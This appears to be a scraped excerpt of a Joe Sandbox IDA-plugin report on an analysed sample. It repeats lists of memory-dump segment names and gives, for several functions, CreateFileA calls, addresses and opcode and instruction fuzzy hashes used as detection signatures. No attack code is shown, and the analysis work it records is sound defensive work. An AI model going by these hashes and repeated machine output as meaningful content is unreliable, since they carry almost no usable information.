Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1ec7ffda7555fac6c9be7ee57ddcadc8d7923ec0831b6ddce54862f7bfd6aad8
Instruction ID: 32a992aceb524307f092cd8a338004ef97c9dd7deaa73d63bcc4466375a7da41
Opcode Fuzzy Hash: 1ec7ffda7555fac6c9be7ee57ddcadc8d7923ec0831b6ddce54862f7bfd6aad8
Instruction Fuzzy Hash: 94E02BA225A2DE2DEA02EE605CF17BD7A154F523A0F2080A8A705874D3CF94080B6639

Function 00FF8ED3 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(FEF9FFA9), ref: 00FF8EA2

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 775919aa3630e39df4c601b08d19c4b89c9acad305b146b4c880ac742ff6d79e
Instruction ID: 0bb342310588780329c42921451a7a6ad89b958c17676c10559c90414816ecef
Opcode Fuzzy Hash: 775919aa3630e39df4c601b08d19c4b89c9acad305b146b4c880ac742ff6d79e
Instruction Fuzzy Hash: 21F0E53254914E9EEB54DF51CCE0EBF3764FF427A0F304029D90A83991DE791C02DA04

Function 00FF8C84 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: efd6e0027b6be22980816915f524aca14a63c245ad16084c743f7474f2b3c3c0
Instruction ID: f787f68b2f3202976b7368f79d3760feb024655f06faaf42c6bfc347f0f0170f
Opcode Fuzzy Hash: efd6e0027b6be22980816915f524aca14a63c245ad16084c743f7474f2b3c3c0
Instruction Fuzzy Hash: 5FE0D8A114B7AB6DDB07AB741C90BEE3B624F43234B4884E6E544DF1E7CB554C0783A0

Function 00FF9077 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00FF9084

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5a65f8141eeedb1e6a2a52795e4b099fb5b21344b53d7f26c25a93e2f94a1f1d
Instruction ID: 1d2dc114d0358c9397dcbfba8d597e3f8ce68077662fedd16dbf8faa7d252529
Opcode Fuzzy Hash: 5a65f8141eeedb1e6a2a52795e4b099fb5b21344b53d7f26c25a93e2f94a1f1d
Instruction Fuzzy Hash: 05E02672A0C14E9FDB84BF789C917EA33A2EF54300B300465F209C716AE9B68E56DF44

Function 00FF8E72 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(FEF9FFA9), ref: 00FF8EA2

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bb643bf1a24fc272cb50e0ce57986e99228ad856da6a05114c70acf4be6bfe8e
Instruction ID: 2fe47261f397e9ae39c8513c044f96a69f44607d352278a297fdda8297ff2610
Opcode Fuzzy Hash: bb643bf1a24fc272cb50e0ce57986e99228ad856da6a05114c70acf4be6bfe8e
Instruction Fuzzy Hash: 79E0867250D18E9EEB45AF60CCD2FBEB762FF46314F60001DDA5546591CA762C21DA04

Function 00FF8E87 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(FEF9FFA9), ref: 00FF8EA2

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bb69ad450f7ec11d47a3a556c52d50ea4affaddebe24feae0ea3080a63c75849
Instruction ID: a4c209de26d0a3d8a3433df978adcc25c9c357b94a51c5a194243e1745c6aab3
Opcode Fuzzy Hash: bb69ad450f7ec11d47a3a556c52d50ea4affaddebe24feae0ea3080a63c75849
Instruction Fuzzy Hash: 7CE08C31A4909E5EDBA6DF70CC95EAE3B69EB92714F100028E84187991CAA95C01CA44

Function 00FF8CAB Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00FF8CB9

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
